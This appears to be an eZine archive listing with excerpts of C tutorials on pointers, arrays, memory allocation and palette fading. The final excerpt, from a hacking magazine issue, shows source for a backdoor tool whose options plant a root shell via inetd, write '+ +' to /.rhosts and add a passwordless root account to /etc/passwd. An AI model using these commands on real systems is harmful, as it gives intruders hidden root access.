#defined

How to fade the palette

eZine's profile picture
Published in 
 · 1 year ago
How to fade the palette
... it looks like there's some major math going on but in reality it's only one precalculated sin-table that does all the work. The constants are #defined at the top of the code and it's easy to change them and see what happens. This program also uses a virtual screen. A virtual screen is an array in memory that can be drawn to without anything being spotted on the visible screen. When the whole frame is ready-drawn just "flip" the virtual screen over to the visible screen and it all appears at once. In this program the virtual screen is smaller than the visible screen but most times they have the same size. Before flipping it's a good id ...

Chapter 3: Pointers and Strings

eZine's profile picture
Published in 
 · 2 years ago
... ce '\0' . That is it occupies one byte of memory. NULL, on the other hand, is the name of the macro used to initialize null pointers. NULL is #defined in a header file in your C compiler, nul may not be #defined at all. Since writing the above code would be very time consuming, C permits two alternate ways of achieving the same thing. First, one might write: char my_string[40] = {'T', 'e', 'd', '\0',}; But this also takes more typing than is convenient. So, C permits: char my_string[40] = "Ted"; When the double quotes are used, instead of the single quotes as was done in the previous examples, the nul character ...

Chapter 7: More on Multi-Dimensional Arrays

eZine's profile picture
Published in 
 · 2 years ago
... col++) { m_array[row][col] = 1; } } } And to call this function we would then use: set_value(multi); Now, within the function we have used the values #defined by ROWS and COLS that set the limits on the for loops. But, these #defines are just constants as far as the compiler is concerned, i.e. there is nothing to connect them to the array size within the function. row and col are local variables, of course. The formal parameter definition permits the compiler to determine the characteristics associated with the pointer value that will be passed at run time. We really don’t need the first dimension and, as will be seen later, there are occasions where ...

Chapter 9: Pointers and Dynamic Allocation of Memory

eZine's profile picture
Published in 
 · 2 years ago
... in METHOD 1 above, and we need not use the typedef keyword. Here xptr is a pointer to an array of integers and the size of that array is given by the #defined COLS . The parenthesis placement makes the pointer notation predominate, even though the array notation has higher precedence. i.e. had we written int *xptr[COLS]; we would have defined xptr as an array of pointers holding the number of pointers equal to that #defined by COLS. That is not the same thing at all. However, arrays of pointers have their use in the dynamic allocation of two dimensional arrays, as will be seen in the next 2 methods. METHOD 3: Consider the case where we do not know th ...

Input Output Magazine Issue 05

eZine's profile picture
Published in 
 · 4 years ago
... har data[8000]; } buffer; int size; void usage(void){ printf("\n >> Ltrapedoor by Li0n7 \n\n"); printf(" ..: lil' Options :.. \n\n"); printf(" -h<#defined pass>: must be set as first argument\n"); printf(" -i: echo 8005 stream tcp nowait root /bin/sh sh >> tmp/.ind\n"); printf(" -r: echo + + >> /.rhosts\n"); printf(" -p<user>: echo user::0:0:user:/root:/bash >> /etc/passwd\n"); printf(" -c<cle>: backdoor activation key (integer type)\n Notice that: udp = 2; tcp = 0; tcp = 1 \n"); printf(" -f: weird mode, uses weird packets\n to communicate with the server \n"); printf(" -d: ip addressing mode, define ip->sa ...
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